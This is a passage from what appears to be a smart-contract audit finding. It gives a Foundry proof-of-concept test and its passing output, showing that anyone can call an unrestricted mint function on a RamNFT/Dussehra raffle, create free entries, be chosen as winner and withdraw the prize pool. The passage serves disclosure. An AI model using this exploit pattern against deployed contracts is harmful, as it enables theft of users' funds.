The recommended mitigation is to add the access control as shown below to restrict who can call this function.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Dussehra} from "../src/Dussehra.sol";
import {ChoosingRam} from "../src/ChoosingRam.sol";
import { mock } from "../src/mocks/mock.sol";
import {RamNFT} from "../src/RamNFT.sol";
contract AccessControlTest is Test {
Dussehra public dussehra;
RamNFT public ramNFT;
ChoosingRam public choosingRam;
address public organiser = makeAddr("organiser");
address public player1 = makeAddr("player1");
address public player2 = makeAddr("player2");
address public player3 = makeAddr("player3");
address public player4 = makeAddr("player4");
address public player5 = makeAddr("player5");
modifier participants5() {
vm.startPrank(player1);
vm.deal(player1, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player4);
vm.deal(player4, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player5);
vm.deal(player5, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
_;
}
function setUp() public {
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam),
address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
}
function test_mint() public participants5 {
address attacker = makeAddr("attacker");
assertEq(address(attacker).balance, 0);
vm.startPrank(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
ramNFT.mintRamNFT(address(attacker));
vm.stopPrank();
console.log("Total fees taken for event: ",
address(dussehra).balance);
console.log("Number of participants is: ",
ramNFT.tokenCounter());
console.log("Expected fees taken: ",
ramNFT.tokenCounter() * dussehra.entranceFee());
console.log("Fees missing: ",
ramNFT.tokenCounter() * dussehra.entranceFee() -
address(dussehra).balance);
vm.warp(1728691200 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
dussehra.killRavana();
vm.stopPrank();
assertEq(choosingRam.isRamSelected(), true);
console.log("Total fees remaining after organiser's 50%% cut: ",
address(dussehra).balance);
assertEq(choosingRam.selectedRam(), address(attacker));
uint256 winnersAmount = address(dussehra).balance;
console.log("Ram is: ", choosingRam.selectedRam());
console.log("Attacker is: ", address(attacker));
console.log("Total fees owned by Winner/Ram/attacker before withdraw: ",
address(attacker).balance);
vm.startPrank(address(attacker));
dussehra.withdraw();
vm.stopPrank();
console.log("Total fees remaining in dussehra after withdraw: ",
address(dussehra).balance);
console.log("Total fees owned by Ram/attacker after withdraw: ",
address(attacker).balance);
assertEq(address(attacker).balance, winnersAmount );
}
}
forge test --match-path test/AccessControlTest.t.sol -vv
[⠊] Compiling...
[⠑] Compiling 1 files with 0.8.20
[⠘] Solc 0.8.20 finished in 4.69s
Compiler run successful!
Ran 1 test for test/AccessControlTest.t.sol:AccessControlTest
[PASS] test_mint() (gas: 1822229)
Logs:
Total fees taken for event: 5000000000000000000
Number of participants is: 25
Expected fees taken: 25000000000000000000
Fees missing: 20000000000000000000
Total fees remaining after organiser's 50% cut: 2500000000000000000
Ram is: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Attacker is: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Total fees owned by Winner/Ram/attacker before withdraw: 0
Total fees remaining in dussehra after withdraw: 0
Total fees owned by Ram/attacker after withdraw: 2500000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.55ms (1.47ms CPU time)
Ran 1 test suite in 451.24ms (3.55ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)